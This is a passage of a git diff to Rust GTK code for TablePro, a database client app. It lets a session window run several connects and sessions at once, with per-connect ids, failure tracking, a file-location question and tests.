-    pub(super) fn ask_about_location(&self, generation: AttemptGeneration, kind: &FileLocationKind) {
-        let Some(dialog) = for_location(kind) else {
+    /// Connect `id` stopped before connecting to ask about its file,
+    /// over this window, whatever else it shows. The connect stays among
+    /// the window's until the answer.
+    pub(super) fn ask_about_location(&self, id: u64, kind: &FileLocationKind) {
+        let name = self
+            .imp()
+            .connects
+            .borrow()
+            .iter()
+            .find(|pending| pending.id == id)
+            .map(|pending| super::source_name(&pending.source))
+            .unwrap_or_default();
+        let Some(dialog) = for_location(kind, &name) else {
             self.send(SessionWindowInput::LocationChosen {
-                generation,
+                id,
                 choice: LocationChoice::ReadWrite,
             });
             return;
@@ -177,28 +186,36 @@ impl SessionWindow {
                 READ_WRITE => LocationChoice::ReadWrite,
                 _ => LocationChoice::Cancel,
             };
-            window.send(SessionWindowInput::LocationChosen { generation, choice });
+            window.send(SessionWindowInput::LocationChosen { id, choice });
         });
     }
 
-    pub(super) fn on_location_chosen(&self, generation: AttemptGeneration, choice: LocationChoice) {
-        let asking = self.imp().attempts.accepts(generation)
-            && self.page_is(|page| matches!(page, SessionPage::Connecting { .. }));
-        if !asking {
+    /// The same connect goes on, in its place among the others, under a
+    /// new id: a result of the one that asked can no longer be taken
+    /// for it. One stopped while the question was open is not started.
+    pub(super) fn on_location_chosen(&self, id: u64, choice: LocationChoice) {
+        let imp = self.imp();
+        let position = imp.connects.borrow().iter().position(|pending| pending.id == id);
+        let Some(position) = position else {
             return;
-        }
+        };
+        let asked = imp.connects.borrow_mut().remove(position);
         let read_only = match choice {
             LocationChoice::Cancel => {
-                self.on_cancel_connect();
+                self.drop_connect(asked);
+                self.connects_changed();
                 return;
             }
             LocationChoice::ReadOnly => true,
             LocationChoice::ReadWrite => false,
         };
-        let SessionPage::Connecting { claim, source } = self.imp().page.replace(SessionPage::Picker) else {
-            return;
-        };
-        self.start_connect(claim, source, Some(read_only), CredentialDemand::default());
+        let PendingConnect {
+            claim, source, demand, ..
+        } = asked;
+        if let Some(pending) = self.spawn_connect(claim, source, Some(read_only), demand) {
+            imp.connects.borrow_mut().insert(position, pending);
+        }
+        self.connects_changed();
     }
 }
 
@@ -232,7 +249,7 @@ mod tests {
     fn default_response_is_read_only() {
         adw::init().expect("libadwaita initialises under the test backend");
 
-        let dialog = for_location(&on_a_share(Path::new("/mnt/share/app.db"))).expect("a question");
+        let dialog = for_location(&on_a_share(Path::new("/mnt/share/app.db")), "app.db").expect("a question");
 
         assert_eq!(dialog.default_response().as_deref(), Some(READ_ONLY));
         assert_eq!(dialog.close_response(), CANCEL);
@@ -244,7 +261,11 @@ mod tests {
             dialog.response_appearance(READ_WRITE),
             adw::ResponseAppearance::Destructive
         );
-        assert!(for_location(&FileLocationKind::Local).is_none());
+        assert!(
+            dialog.body().contains("“app.db”"),
+            "the question does not name its file"
+        );
+        assert!(for_location(&FileLocationKind::Local, "app.db").is_none());
     }
 
     #[gtk4::test]
@@ -252,7 +273,7 @@ mod tests {
         adw::init().expect("libadwaita initialises under the test backend");
         let portal = FileLocationKind::portal(None, |_| true, |_| FileLocationKind::Local);
 
-        let dialog = for_location(&portal).expect("a question for a portal file");
+        let dialog = for_location(&portal, "app.db").expect("a question for a portal file");
 
         assert_eq!(dialog.default_response().as_deref(), Some(READ_ONLY));
     }
@@ -333,6 +354,27 @@ mod tests {
         assert!(calls[0].request.workspace_settings.read_only);
     }
 
+    /// The question goes over this window, and the connect it held back
+    /// joins the sessions there.
+    #[gtk4::test]
+    fn a_file_opened_beside_the_sessions_is_asked_about_here() {
+        let test = TestWindow::connected("ShareBeside");
+        test.window.imp().classify_location.set(Some(on_a_share));
+        let dir = tempfile::tempdir().expect("tempdir");
+        let database = dir.path().join("app.db");
+        std::fs::write(&database, b"").expect("seed");
+
+        test.window
+            .send(SessionWindowInput::OpenFile(gio::File::for_path(&database)));
+        wait_until(WAIT, || visible_alert(&test.window).is_some()).expect("the location question");
+        assert_eq!(test.connector.calls().len(), 1, "the file connected before the answer");
+        assert!(answer(&test.window, READ_ONLY));
+        wait_until(WAIT, || test.window.workspaces().len() == 2).expect("the file to join the window");
+
+        assert_eq!(test.app.windows().len(), 1, "the question went to a window of its own");
+        assert!(test.connector.calls()[1].request.workspace_settings.read_only);
+    }
+
     #[gtk4::test]
     fn an_existing_file_from_the_connect_dialog_is_asked_about() {
         let test = TestWindow::picker("ShareDialog");
diff --git a/linux/crates/app/src/ui/session_window/imp.rs b/linux/crates/app/src/ui/session_window/imp.rs
index 5ccf879cc6..ff2ce2d8b2 100644
--- a/linux/crates/app/src/ui/session_window/imp.rs
+++ b/linux/crates/app/src/ui/session_window/imp.rs
@@ -1,18 +1,22 @@
 use std::cell::{Cell, OnceCell, RefCell};
+use std::collections::{HashMap, HashSet};
 use std::rc::Rc;
 
 use gtk4 as gtk;
 use gtk4::glib;
+use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::subclass::prelude::*;
-use tablepro_session::{ConnectAttempts, SessionKey};
+use tablepro_session::{ConnectSource, SessionKey};
+use uuid::Uuid;
 
 use super::connections::LevelSave;
 use super::crash_notice::CrashNotice;
 use super::locate_file::LocateChooser;
 use super::picker_page::PickerPage;
-use super::session_page::SessionPage;
+use super::session_page::{FailedConnect, OpenSession, PendingConnect, SessionPage};
+use super::session_window_command::ConnectFailure;
 use super::work_notifier::WorkNotifier;
 use super::{SessionWindowInput, WindowState};
 use crate::runtime::InputSender;
@@ -20,13 +24,15 @@ use crate::services::file_location::LocationClassifier;
 use crate::services::saved_connection_list::StateObserverId;
 use crate::ui::connect_dialog::ConnectDialog;
 use crate::ui::welcome_view::WelcomeView;
+use crate::ui::workspace::WorkspaceShell;
 use crate::workspace::{CloseGuards, WindowInhibitor};
 
-#[derive(Default, gtk::CompositeTemplate)]
+#[derive(Default, gtk::CompositeTemplate, glib::Properties)]
 #[template(resource = "/app/tablepro/TablePro/ui/session-window.ui")]
+#[properties(wrapper_type = super::SessionWindow)]
 pub struct SessionWindow {
     /// The toasts of the page on screen. Each page has its own, under
-    /// its header bar, so a workspace's sit inside the tab overview.
+    /// its header bar, so the shell's sit inside the tab overview.
     pub(super) page_toasts: RefCell<Option<adw::ToastOverlay>>,
     /// What the application handed the window, set once it is added.
     pub(super) state: OnceCell<WindowState>,
@@ -36,24 +42,41 @@ pub struct SessionWindow {
     pub(super) pump: RefCell<Option<glib::JoinHandle<()>>>,
     /// Ends the credential prompt loop with the window.
     pub(super) prompt_presenter: RefCell<Option<glib::JoinHandle<()>>>,
-    pub(super) page: RefCell<SessionPage>,
-    /// Which connect attempt is current, so a late result is discarded.
-    pub(super) attempts: ConnectAttempts,
-    /// The recorded session the window was opened to restore, until the
-    /// saved connection is looked up or the file resolved.
-    pub(super) restoring: RefCell<Option<SessionKey>>,
+    /// The sessions the window holds, in the order it adopted them.
+    pub(super) sessions: RefCell<Vec<OpenSession>>,
+    /// Every connect the window runs, in the order they started.
+    pub(super) connects: RefCell<Vec<PendingConnect>>,
+    /// The id the next connect takes.
+    pub(super) next_connect: Cell<u64>,
+    /// A connect that failed with nothing else to show, for the failed
+    /// page. Only while the window holds no session and runs no connect.
+    pub(super) failed: RefCell<Option<FailedConnect>>,
+    /// The last failure of each connect that failed beside something
+    /// else, until the key connects again, for its Details.
+    pub(super) failures: RefCell<HashMap<SessionKey, (ConnectSource, ConnectFailure)>>,
+    /// The shell, from the first session the window adopts to the last
+    /// one it tears down.
+    pub(super) shell: RefCell<Option<WorkspaceShell>>,
+    /// The page on screen, so a change that leaves it the same does not
+    /// build it again.
+    pub(super) shown: Cell<Option<SessionPage>>,
+    /// The recorded sessions the window was opened to restore, until
+    /// each saved connection is looked up or each file resolved.
+    pub(super) restoring: RefCell<Vec<SessionKey>>,
     /// One close prompt at a time, for a tab, the window or a
     /// disconnect.
     pub(super) close_guards: OnceCell<Rc<CloseGuards>>,
-    /// Holds logout back while the workspace has something to lose.
+    /// Holds logout back while a session has something to lose.
     pub(super) inhibitor: RefCell<Option<WindowInhibitor>>,
     pub(super) dirty: Cell<bool>,
+    /// Whether a save of any session is being written.
+    #[property(get)]
     pub(super) saving: Cell<bool>,
-    /// A Safe Mode level is being written to the saved connection.
-    pub(super) level_saving: Cell<bool>,
-    /// The newest level chosen while one was being written, which goes
-    /// next so the last choice is the one that stays.
-    pub(super) level_next: Cell<Option<LevelSave>>,
+    /// The saved connections whose Safe Mode level is being written.
+    pub(super) level_saving: RefCell<HashSet<Uuid>>,
+    /// The newest level chosen for a connection while one was being
+    /// written, which goes next so the last choice is the one that stays.
+    pub(super) level_next: RefCell<HashMap<Uuid, LevelSave>>,
     pub(super) welcome: RefCell<Option<WelcomeView>>,
     /// Shows the banner while the shared connection list cannot be read.
     pub(super) list_observer: Cell<Option<StateObserverId>>,
@@ -106,6 +129,7 @@ impl ObjectSubclass for SessionWindow {
     }
 }
 
+#[glib::derived_properties]
 impl ObjectImpl for SessionWindow {
     /// A window dropped without its close request still closes what it
     /// holds.
diff --git a/linux/crates/app/src/ui/session_window/locate_file.rs b/linux/crates/app/src/ui/session_window/locate_file.rs
index 123be2fd3e..ed3f70434f 100644
--- a/linux/crates/app/src/ui/session_window/locate_file.rs
+++ b/linux/crates/app/src/ui/session_window/locate_file.rs
@@ -12,12 +12,11 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::prelude::*;
-use tablepro_session::ConnectSource;
 use tablepro_session::connect::{ConnectionWrites, StoreConnectionWrites};
-use tablepro_storage::SavedConnection;
+use tablepro_session::{ConnectSource, SessionKey};
+use tablepro_storage::{CredentialDemand, SavedConnection};
 use uuid::Uuid;
 
-use super::session_page::SessionPage;
 use super::{SessionWindow, SessionWindowInput};
 use crate::runtime::DeliverInput;
 use crate::ui::connect_dialog::DatabaseFiles;
@@ -89,15 +88,38 @@ impl SessionWindow {
     /// Connection.
     pub(super) fn offer_locate(&self, id: Uuid, missing: PathBuf) {
         let dialog = not_found_dialog(&missing);
-        let files = self.located_files(id);
         let window = self.downgrade();
         glib::spawn_future_local(async move {
             let Some(window) = window.upgrade() else {
                 return;
             };
-            if crate::workspace::respond(&dialog, window.upcast_ref()).await != LOCATE {
-                return;
+            if crate::workspace::respond(&dialog, window.upcast_ref()).await == LOCATE {
+                window.choose_location(id, missing);
             }
+        });
+    }
+
+    /// A failure's Details already said the file is gone, so its Locate
+    /// File goes straight to the file chooser.
+    pub(super) fn locate_for(&self, key: &SessionKey) {
+        let lost = self
+            .with_failure(key, |source, failure| match source {
+                ConnectSource::Saved(saved) => failure.missing_file.clone().map(|missing| (saved.id, missing)),
+                _ => None,
+            })
+            .flatten();
+        if let Some((id, missing)) = lost {
+            self.choose_location(id, missing);
+        }
+    }
+
+    fn choose_location(&self, id: Uuid, missing: PathBuf) {
+        let files = self.located_files(id);
+        let window = self.downgrade();
+        glib::spawn_future_local(async move {
+            let Some(window) = window.upgrade() else {
+                return;
+            };
             let chooser = window
                 .imp()
                 .locate_chooser
@@ -111,37 +133,38 @@ impl SessionWindow {
         });
     }
 
+    /// The saved connection whose connect failed under `id`, while its
+    /// failure is the window's.
+    fn failed_saved(&self, id: Uuid) -> Option<SavedConnection> {
+        self.with_failure(&SessionKey::Saved(id), |source, _| match source {
+            ConnectSource::Saved(saved) => Some((**saved).clone()),
+            _ => None,
+        })
+        .flatten()
+    }
+
     /// The files the failed connection's engine opens.
     fn located_files(&self, id: Uuid) -> Option<DatabaseFiles> {
-        let driver_id = match &*self.imp().page.borrow() {
-            SessionPage::ConnectFailed {
-                source: ConnectSource::Saved(saved),
-                ..
-            } if saved.id == id => saved.driver_id.clone(),
-            _ => return None,
-        };
+        let driver_id = self.failed_saved(id)?.driver_id;
         let driver = self.state()?.context.drivers.get(&driver_id)?;
         DatabaseFiles::of(driver.as_ref())
     }
 
-    /// Save the file's new path on the connection the failed page is
-    /// about, then connect to it once the write lands, so the entry and
-    /// the open session name the same file.
+    /// Save the file's new path on the connection that failed, then
+    /// connect to it once the write lands, so the entry and the open
+    /// session name the same file.
     pub(super) fn on_file_located(&self, id: Uuid, path: PathBuf) {
-        let saved = match &*self.imp().page.borrow() {
-            SessionPage::ConnectFailed {
-                source: ConnectSource::Saved(saved),
-                ..
-            } if saved.id == id => (**saved).clone(),
-            _ => return,
+        let Some(saved) = self.failed_saved(id) else {
+            return;
         };
         let (Some(state), Some(input)) = (self.state(), self.input()) else {
             return;
         };
         // Deleted in another window while the question was open: writing
-        // the page's copy back would bring it back without its secrets.
+        // the failure's copy back would bring it back without its secrets.
         let Some(mut located) = self.saved_as_stored(&saved) else {
-            self.show_page(SessionPage::Picker);
+            drop(self.take_failure(&SessionKey::Saved(id)));
+            self.render();
             self.show_toast(&crate::i18n::gettext("The connection was deleted."));
             return;
         };
@@ -173,23 +196,19 @@ impl SessionWindow {
         );
     }
 
-    /// Connect to the located file, unless the user left the failed
-    /// page while its path was saved.
+    /// Connect to the located file, unless its failure went while its
+    /// path was saved: the user left it, or it connected again.
     pub(super) fn on_located_saved(&self, located: SavedConnection) {
-        let current = match &*self.imp().page.borrow() {
-            SessionPage::ConnectFailed {
-                source: ConnectSource::Saved(saved),
-                ..
-            } => saved.id == located.id,
-            _ => false,
-        };
-        if !current {
+        if self.failed_saved(located.id).is_none() {
             return;
         }
-        let SessionPage::ConnectFailed { claim, .. } = self.imp().page.replace(SessionPage::Picker) else {
-            return;
-        };
-        self.begin_connect(claim, ConnectSource::Saved(Box::new(located)));
+        if let Some((claim, _, _)) = self.take_failure(&SessionKey::Saved(located.id)) {
+            self.connect_with(
+                claim,
+                ConnectSource::Saved(Box::new(located)),
+                CredentialDemand::default(),
+            );
+        }
     }
 }
 
diff --git a/linux/crates/app/src/ui/session_window/mod.rs b/linux/crates/app/src/ui/session_window/mod.rs
index d19800dbbf..6ee2823d74 100644
--- a/linux/crates/app/src/ui/session_window/mod.rs
+++ b/linux/crates/app/src/ui/session_window/mod.rs
@@ -1,10 +1,15 @@
-//! One window per connection session. It opens on the picker, shows
-//! the connect while it runs and the failure when it fails, then the
-//! session's workspace. A disconnect tears the workspace down in order
-//! and returns to the picker; it never moves to another session.
+//! A window of connection sessions. It holds two lists, the sessions it
+//! adopted and the connects it runs, and shows what they call for: the
+//! shell while it holds a session, the failed page when a connect failed
+//! with nothing else to show, the connecting page for its first connect,
+//! and the picker otherwise. Every connect, wherever it starts, runs
+//! beside the others and its session joins the shell, each with its own
+//! workspace. A disconnect tears one session's workspace down in order.
+//! A workspace never moves to another session.
 
 mod application_notification_sink;
 mod connect_failed_page;
+mod connect_failure_details;
 mod connect_failure_view;
 mod connect_flow;
 mod connecting_page;
@@ -30,6 +35,7 @@ mod window_actions;
 mod work_notifier;
 
 use std::rc::Rc;
+use std::sync::Arc;
 
 use futures::FutureExt;
 use futures::future::BoxFuture;
@@ -39,6 +45,7 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use libadwaita as adw;
 use libadwaita::prelude::AdwApplicationWindowExt;
+use tokio_util::sync::CancellationToken;
 
 use tablepro_core::{DatabaseDriver, DriverError, SafeModeLevel, TransportClass};
 use tablepro_session::connect::StoreConnectionWrites;
@@ -56,7 +63,7 @@ pub(super) use self::connecting_page::ConnectingPage;
 use self::file_location_dialog::FileCheck;
 pub(super) use self::picker_page::PickerPage;
 use self::resolve_file_identity::{FileResolveError, FileTarget, ResolvedFile, resolve_file_blocking};
-use self::session_page::SessionPage;
+use self::session_page::{FailedConnect, OpenSession, PendingConnect, SessionPage, source_key};
 use self::session_window_command::{AttemptError, ConnectFailure, Connected, SessionWindowCommand};
 pub(crate) use self::session_window_input::SessionWindowInput;
 use crate::application::{AppServices, WindowHost, WindowLaunch};
@@ -64,7 +71,7 @@ use crate::runtime::{DeliverInput, InputSender};
 use crate::services::session_context::SessionContext;
 use crate::ui::connect_dialog::{ConnectDialogMode, ConnectSubmission};
 use crate::ui::welcome_view::WelcomeView;
-use crate::ui::workspace::{Workspace, WorkspaceInit, WorkspaceInput};
+use crate::ui::workspace::{Workspace, WorkspaceInit, WorkspaceInput, WorkspaceShell};
 use crate::workspace::{
     ApplicationInhibit, CloseDecision, CloseGuards, CloseReason, InhibitReason, WindowInhibitor, WorkspaceHandle,
 };
@@ -103,7 +110,7 @@ impl SessionWindow {
     }
 
     /// Start the window on `init.launch`. Called once the window is
-    /// added to the application, which gives it the id its session is
+    /// added to the application, which gives it the id its sessions are
     /// claimed under.
     pub fn start(&self, init: SessionWindowInit) {
         let SessionWindowInit { services, host, launch } = init;
@@ -133,14 +140,7 @@ impl SessionWindow {
                 prompts, self,
             )));
 
-        let guards = CloseGuards::new();
-        let window = self.downgrade();
-        guards.connect_window(
-            self,
-            move || window.upgrade().and_then(|window| window.workspace_handle()),
-            SessionWindow::on_close_approved,
-        );
-        let _ = imp.close_guards.set(guards);
+        let _ = imp.close_guards.set(self.close_guards_for_window());
         imp.inhibitor
             .replace(Some(WindowInhibitor::new(ApplicationInhibit::new(self))));
 
@@ -180,9 +180,14 @@ impl SessionWindow {
             context,
         });
 
-        self.show_page(SessionPage::Picker);
+        self.render();
         self.show_connection_list_banner();
         input.deliver(SessionWindowInput::LoadConnections);
+        self.open_launch(launch, &input);
+    }
+
+    fn open_launch(&self, launch: WindowLaunch, input: &InputSender<SessionWindowInput>) {
+        let imp = self.imp();
         match launch {
             WindowLaunch::Picker => {}
             WindowLaunch::Connect(saved) => input.deliver(SessionWindowInput::OpenSaved(saved)),
@@ -191,9 +196,12 @@ impl SessionWindow {
                 imp.opened_for_file.set(true);
                 input.deliver(SessionWindowInput::OpenFile(file));
             }
-            WindowLaunch::Restore(key) => {
-                self.imp().restoring.replace(Some(key.clone()));
-                input.deliver(SessionWindowInput::Restore(key));
+            // Every recorded session connects at once, beside the others.
+            WindowLaunch::Restore(keys) => {
+                for key in &keys {
+                    input.deliver(SessionWindowInput::Restore(key.clone()));
+                }
+                imp.restoring.replace(keys);
             }
         }
     }
@@ -232,25 +240,26 @@ impl SessionWindow {
     /// application can open here.
     pub(crate) fn is_idle(&self) -> bool {
         let imp = self.imp();
-        self.page_is(|page| matches!(page, SessionPage::Picker))
+        self.page() == SessionPage::Picker
             && !imp.opening_file.get()
             && !imp.dialog_opening.get()
             && imp.dialog.try_borrow().is_ok_and(|dialog| dialog.is_none())
     }
 
-    /// Whether the window's claim is a session to reopen: it shows the
-    /// session or is connecting it. A failed connect's claim is not.
-    pub(crate) fn keeps_session(&self) -> bool {
-        self.page_is(|page| matches!(page, SessionPage::Connecting { .. } | SessionPage::Workspace { .. }))
+    /// Whether the window shows the session under `key` or connects it.
+    /// A failed connect's claim is not a session to reopen.
+    pub(crate) fn keeps_session(&self, key: &SessionKey) -> bool {
+        self.holds_session(key) || self.is_connecting(key)
     }
 
     /// Whether the window holds logout back now, for its unsaved
-    /// changes or for an export its workspace is writing.
+    /// changes or for an export a workspace is writing.
     pub(crate) fn is_inhibiting(&self) -> bool {
         let exporting = self
-            .workspace()
-            .and_then(|workspace| workspace.exports())
-            .is_some_and(|exports| exports.is_inhibiting());
+            .workspaces()
+            .iter()
+            .filter_map(Workspace::exports)
+            .any(|exports| exports.is_inhibiting());
         exporting
             || self
                 .imp()
@@ -266,9 +275,9 @@ impl SessionWindow {
         self.imp().inhibitor.replace(Some(inhibitor));
     }
 
-    /// Stop the window's input and close what it still holds: the
-    /// session it shows, or the connect it runs. Runs once, from the
-    /// application as the window goes, or from dispose.
+    /// Stop the window's input and close what it still holds: its
+    /// sessions and its connects. Runs once, from the application as the
+    /// window goes, or from dispose.
     pub fn shutdown(&self) {
         let imp = self.imp();
         if imp.shut_down.replace(true) {
@@ -302,24 +311,120 @@ impl SessionWindow {
         self.imp().close_guards.get()
     }
 
-    fn page_is(&self, matches: impl FnOnce(&SessionPage) -> bool) -> bool {
-        self.imp().page.try_borrow().is_ok_and(|page| matches(&page))
+    /// What the window shows, from what it holds.
+    fn page(&self) -> SessionPage {
+        let imp = self.imp();
+        if imp.sessions.try_borrow().is_ok_and(|sessions| !sessions.is_empty()) {
+            return SessionPage::Shell;
+        }
+        if imp.failed.try_borrow().is_ok_and(|failed| failed.is_some()) {
+            return SessionPage::Failed;
+        }
+        match imp
+            .connects
+            .try_borrow()
+            .ok()
+            .and_then(|connects| connects.first().map(|pending| pending.id))
+        {
+            Some(id) => SessionPage::Connecting(id),
+            None => SessionPage::Picker,
+        }
     }
 
-    /// The page's workspace, while the window shows one.
+    fn holds_session(&self, key: &SessionKey) -> bool {
+        self.imp()
+            .sessions
+            .try_borrow()
+            .is_ok_and(|sessions| sessions.iter().any(|open| open.claim.key() == key))
+    }
+
+    fn is_connecting(&self, key: &SessionKey) -> bool {
+        self.imp()
+            .connects
+            .try_borrow()
+            .is_ok_and(|connects| connects.iter().any(|pending| pending.claim.key() == key))
+    }
+
+    /// The workspace of the session in front: the one whose tab is on
+    /// screen.
     pub(crate) fn workspace(&self) -> Option<Workspace> {
-        match &*self.imp().page.try_borrow().ok()? {
-            SessionPage::Workspace { workspace, .. } => Some(workspace.clone()),
-            _ => None,
+        self.shell()?.front()
+    }
+
+    /// The workspace of every session the window holds.
+    pub(crate) fn workspaces(&self) -> Vec<Workspace> {
+        self.imp().sessions.try_borrow().map_or_else(
+            |_| Vec::new(),
+            |sessions| sessions.iter().map(|open| open.workspace.clone()).collect(),
+        )
+    }
+
+    /// The workspace that holds tab `tab`.
+    pub(crate) fn workspace_with_tab(&self, tab: uuid::Uuid) -> Option<Workspace> {
+        self.workspaces()
+            .into_iter()
+            .find(|workspace| workspace.open_tabs().is_some_and(|tabs| tabs.contains(&tab)))
+    }
+
+    /// The window's shell, while it holds a session.
+    pub(crate) fn shell(&self) -> Option<WorkspaceShell> {
+        self.imp().shell.try_borrow().ok()?.clone()
+    }
+
+    /// The workspace of the session under `key`.
+    fn session_workspace(&self, key: &SessionKey) -> Option<Workspace> {
+        let sessions = self.imp().sessions.try_borrow().ok()?;
+        sessions
+            .iter()
+            .find(|open| open.claim.key() == key)
+            .map(|open| open.workspace.clone())
+    }
+
+    /// The key and session of the session in front.
+    pub(super) fn front_session(&self) -> Option<(SessionKey, Arc<Session>)> {
+        let front = self.workspace()?;
+        let sessions = self.imp().sessions.try_borrow().ok()?;
+        sessions
+            .iter()
+            .find(|open| open.workspace == front)
+            .map(|open| (open.claim.key().clone(), open.session.clone()))
+    }
+
+    /// The shell for the window's first session, which the later ones
+    /// join. Its tree hears the connects and failures the window already
+    /// has.
+    fn new_shell(&self, state: &WindowState, input: &InputSender<SessionWindowInput>) -> WorkspaceShell {
+        let shell = WorkspaceShell::new(self.upcast_ref(), &state.services, input.clone());
+        let front = input.clone();
+        shell.connect_notify_local(Some("front"), move |_, _| {
+            front.deliver(SessionWindowInput::FrontChanged);
+        });
+        self.imp().shell.replace(Some(shell.clone()));
+        self.sync_tree();
+        if let Some(tree) = shell.tree() {
+            for (key, (source, failure)) in self.imp().failures.borrow().iter() {
+                tree.set_failure(key, Some((&source_name(source), failure.message.as_str())));
+            }
         }
+        shell
     }
 
-    /// What the close prompts ask about, with a value typed into a cell
-    /// counted among the unsaved changes.
-    fn workspace_handle(&self) -> Option<WorkspaceHandle> {
-        let workspace = self.workspace()?;
-        workspace.commit_cell_edits();
-        workspace.handle()
+    /// Every session's, for the window's own close.
+    fn workspace_handles(&self) -> Vec<WorkspaceHandle> {
+        self.workspaces().iter().filter_map(Workspace::prompt_handle).collect()
+    }
+
+    /// Whether any session has something to lose or a save running, read
+    /// from the sessions whenever one says it changed.
+    fn refresh_dirty(&self) {
+        let workspaces = self.workspaces();
+        let imp = self.imp();
+        imp.dirty.set(workspaces.iter().any(Workspace::is_dirty));
+        let saving = workspaces.iter().any(Workspace::is_saving);
+        if imp.saving.replace(saving) != saving {
+            self.notify_saving();
+        }
+        self.refresh_inhibitor();
     }
 
     fn handle_input(&self, message: SessionWindowInput) {
@@ -329,34 +434,56 @@ impl SessionWindow {
             SessionWindowInput::FileResolved(resolved) => self.on_file_resolved(*resolved),
             SessionWindowInput::Restore(key) => self.on_restore(key),
             SessionWindowInput::RestoreSaved { id, saved } => self.on_restore_saved(id, saved.map(|saved| *saved)),
+            SessionWindowInput::RestoreUnread(key) => self.end_restore(&key),
             SessionWindowInput::OpenConnectDialog => {
                 self.present_connect_dialog(ConnectDialogMode::Create, None, None);
             }
             SessionWindowInput::ConnectFromDialog(submission) => self.on_connect_from_dialog(*submission),
             SessionWindowInput::DialogClosed => drop(self.imp().dialog.take()),
             SessionWindowInput::CancelConnect => self.on_cancel_connect(),
-            SessionWindowInput::RetryConnect => self.on_retry_connect(),
-            SessionWindowInput::RetryWithNewSecret(kind) => self.on_retry_with_new_secret(kind),
-            SessionWindowInput::EditConnection => self.on_edit_connection(),
+            SessionWindowInput::StopConnecting(key) => self.stop_connecting(&key),
+            SessionWindowInput::RetryConnect => {
+                if let Some(key) = self.failed_key() {
+                    self.on_retry_connect(&key);
+                }
+            }
+            SessionWindowInput::RetryWithNewSecret(kind) => {
+                if let Some(key) = self.failed_key() {
+                    self.on_retry_with_new_secret(&key, kind);
+                }
+            }
+            SessionWindowInput::EditConnection => {
+                if let Some(key) = self.failed_key() {
+                    self.on_edit_connection(&key);
+                }
+            }
+            SessionWindowInput::Remedy { key, remedy } => self.on_remedy(key, remedy),
+            SessionWindowInput::ShowConnectFailure(key) => self.on_show_connect_failure(key),
+            SessionWindowInput::ForgetConnectFailure(key) => self.forget_failure(&key),
             SessionWindowInput::EditSavedConnection(id) => self.on_edit_saved_connection(id),
             SessionWindowInput::ConnectionSaved(id) => self.on_connection_saved(id),
-            SessionWindowInput::Disconnect => self.on_disconnect(),
-            SessionWindowInput::TeardownApproved => {
-                if self.tear_down() {
-                    self.show_page(SessionPage::Picker);
-                    tracing::info!("disconnected");
+            SessionWindowInput::Disconnect => self.on_disconnect_front(),
+            SessionWindowInput::DisconnectSession(key) => self.on_disconnect(key),
+            SessionWindowInput::SessionTeardownApproved(key) => self.on_session_teardown_approved(&key),
+            SessionWindowInput::ShowSession(key) => self.show_session(&key),
+            SessionWindowInput::NewQueryIn(key) => self.deliver_to(&key, WorkspaceInput::NewEditorTab),
+            SessionWindowInput::RefreshIn(key) => self.deliver_to(&key, WorkspaceInput::RefreshCatalog),
+            SessionWindowInput::FrontChanged => self.sync_actions(),
+            SessionWindowInput::ReturnForeignTab(page) => {
+                if let Some(page) = page.upgrade() {
+                    self.on_return_foreign_tab(&page);
                 }
             }
-            SessionWindowInput::SetSafeMode(level) => self.on_set_safe_mode(level),
+            SessionWindowInput::SetSafeMode { key, level } => self.on_set_safe_mode(&key, level),
             SessionWindowInput::ReopenApproved(id) => self.on_reopen_approved(id),
             SessionWindowInput::CloseCurrent => self.on_close_current(),
             SessionWindowInput::Reconnect => {
-                if let SessionPage::Workspace { session, .. } = &*self.imp().page.borrow() {
+                if let Some((_, session)) = self.front_session() {
                     session.signal(MonitorSignal::RetryNow);
                 }
             }
             SessionWindowInput::ResetWorkspaceLayout => {
-                if let Some(input) = self.workspace().and_then(|workspace| workspace.input()) {
+                if let Some(input) = self.workspace().and_then(|workspace| workspace.sender()) {
                     input.deliver(WorkspaceInput::ResetWorkspaceLayout);
                 }
             }
@@ -368,32 +495,14 @@ impl SessionWindow {
                     });
                 }
             }
-            // Only the workspace on screen speaks for the window: one
-            // torn down has nothing left to lose.
-            SessionWindowInput::DirtyChanged(dirty) => {
-                if self.page_is(|page| matches!(page, SessionPage::Workspace { .. })) {
-                    self.imp().dirty.set(dirty);
-                    self.refresh_inhibitor();
-                }
-            }
-            SessionWindowInput::SavesInFlightChanged(count) => {
-                if self.page_is(|page| matches!(page, SessionPage::Workspace { .. })) {
-                    self.imp().saving.set(count > 0);
-                    self.refresh_inhibitor();
-                }
-            }
-            SessionWindowInput::TitleChanged(title) => {
-                if self.page_is(|page| matches!(page, SessionPage::Workspace { .. })) {
-                    self.set_title(Some(&title));
-                }
-            }
+            SessionWindowInput::DirtyChanged | SessionWindowInput::SavesInFlightChanged => self.refresh_dirty(),
             SessionWindowInput::WorkCompleted(work) => self.on_work_completed(work),
             SessionWindowInput::TabsChanged => self.on_tabs_changed(),
             SessionWindowInput::FocusTab(tab) => self.on_focus_tab(tab),
             SessionWindowInput::Command(command) => match *command {
-                SessionWindowCommand::Attempt { generation, result } => self.on_attempt(generation, result),
+                SessionWindowCommand::Attempt { id, result } => self.on_attempt(id, result),
             },
-            SessionWindowInput::LocationChosen { generation, choice } => self.on_location_chosen(generation, choice),
+            SessionWindowInput::LocationChosen { id, choice } => self.on_location_chosen(id, choice),
             SessionWindowInput::FileLocated { id, path } => self.on_file_located(id, path),
             SessionWindowInput::LocatedSaved(located) => self.on_located_saved(*located),
             SessionWindowInput::LoadConnections => self.on_load_connections(),
@@ -431,15 +540,30 @@ impl SessionWindow {
         }
     }
 
-    /// Move to `page`. The page left behind drops with what it held,
-    /// which releases a claim. A workspace left behind is torn down
-    /// first, so its session is closed rather than cut off.
+    /// Show the page the window's state calls for, building it only when
+    /// it changed. What a page shows lives in the window's state, so the
+    /// page left behind drops with nothing of its own.
+    /// Show `failed` on the failed page, built again even when the page
+    /// already shows another failure, so its remedies act on this one.
+    fn show_failure(&self, failed: FailedConnect) {
+        let imp = self.imp();
+        imp.failed.replace(Some(failed));
+        imp.shown.replace(None);
+        self.render();
+    }
+
+    fn render(&self) {
+        let page = self.page();
+        if self.imp().shown.replace(Some(page)) != Some(page) {
+            self.show_page(page);
+        }
+        self.sync_actions();
+    }
+
     fn show_page(&self, page: SessionPage) {
-        self.tear_down();
         let imp = self.imp();
         let app = self.application();
-        let mut can_edit = false;
